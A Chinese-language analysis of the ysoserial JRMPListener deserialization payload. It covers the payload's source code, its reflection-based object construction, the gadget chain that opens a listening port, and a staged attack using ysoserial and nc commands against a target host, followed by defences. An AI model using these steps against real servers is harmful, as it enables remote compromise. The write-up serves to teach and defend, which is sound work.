payloads/JRMPListener
字数 1102 2025-08-05 08:19:37
JRMPListener 攻击原理与利用分析
一、JRMPListener 概述
JRMPListener 是 Java 远程方法协议(Java Remote Method Protocol)的一个利用模块,主要用于在目标服务器上开启一个监听端口,为后续攻击做准备。
攻击流程
- 生成 JRMPListener payload 并发送给目标服务器
- 服务器反序列化该 payload 后会开启指定端口进行监听
- 使用 exploit/JRMPClient 模块发送实际攻击 payload
- 服务器反序列化攻击 payload 完成攻击
二、Payload 生成过程分析
核心代码分析
通过 ysoserial 的 GeneratePayload 类生成 JRMPListener payload,主要参数为监听端口号(如1199)。
// JRMPListener.java 关键代码
public Object getObject(final String command) throws Exception {
int jrmpPort = Integer.parseInt(command);
UnicastServerRef ref = new UnicastServerRef(jrmpPort);
// 使用反射构造 ActivationGroupImpl 对象
Remote uro = Reflections.createWithConstructor(
ActivationGroupImpl.class,
RemoteObject.class,
new Class<?>[] { RemoteRef.class },
ref
);
// 设置端口号
Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
return uro;
}
反射构造对象机制
代码中使用了 Reflections.createWithConstructor 方法来构造对象,其核心是:
- 获取父类(RemoteObject)的有参构造方法
- 使用
ReflectionFactory.newConstructorForSerialization创建无参构造方法 - 实例化目标对象(ActivationGroupImpl)
示例说明
// 示例代码展示反射构造机制
public class Person {
public Person(String name) {
System.out.println("调用有参构造" + name);
}
}
public class User extends Person {
public void eat() { System.out.println("eat..."); }
}
// 使用反射构造 User 实例
Constructor<Person> personConst = Person.class.getDeclaredConstructor(String.class);
Constructor constructor = ReflectionFactory.getReflectionFactory()
.newConstructorForSerialization(User.class, personConst);
User user = (User) constructor.newInstance("xxx");
user.eat();
三、Gadget 链分析
完整的攻击调用链如下:
* UnicastRemoteObject.readObject(ObjectInputStream) line: 235
* UnicastRemoteObject.reexport() line: 266
* UnicastRemoteObject.exportObject(Remote, int) line: 320
* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
* LiveRef.exportObject(Target) line: 147
* TCPEndpoint.exportObject(Target) line: 411
* TCPTransport.exportObject(Target) line: 249
* TCPTransport.listen() line: 319
反序列化触发过程
- 服务器反序列化 payload 时触发
UnicastRemoteObject.readObject - 调用
reexport()方法重新导出远程对象 - 通过一系列调用最终到达
TCPTransport.listen()开启端口监听
四、实际攻击步骤
1. 生成 JRMPListener payload
java -jar ysoserial.jar JRMPListener 1199 > jrmplistener.payload
2. 发送 payload 到目标服务器
通过存在反序列化漏洞的接口发送生成的 payload
3. 验证端口是否开启
nc -zv target_ip 1199
4. 使用 JRMPClient 发送攻击
java -jar ysoserial.jar JRMPClient target_ip:1199 > attack.payload
五、防御措施
- 升级 JDK 版本,修复相关反序列化漏洞
- 限制反序列化操作,使用白名单机制
- 使用安全管理器限制网络访问
- 监控异常端口开启行为
六、技术要点总结
- 反射构造机制:通过
ReflectionFactory.newConstructorForSerialization绕过常规构造限制 - RMI 协议利用:利用 Java 远程方法协议的特性开启监听
- 反序列化触发:通过精心构造的对象触发服务器端反序列化操作
- 分阶段攻击:先开启监听端口,再发送实际攻击 payload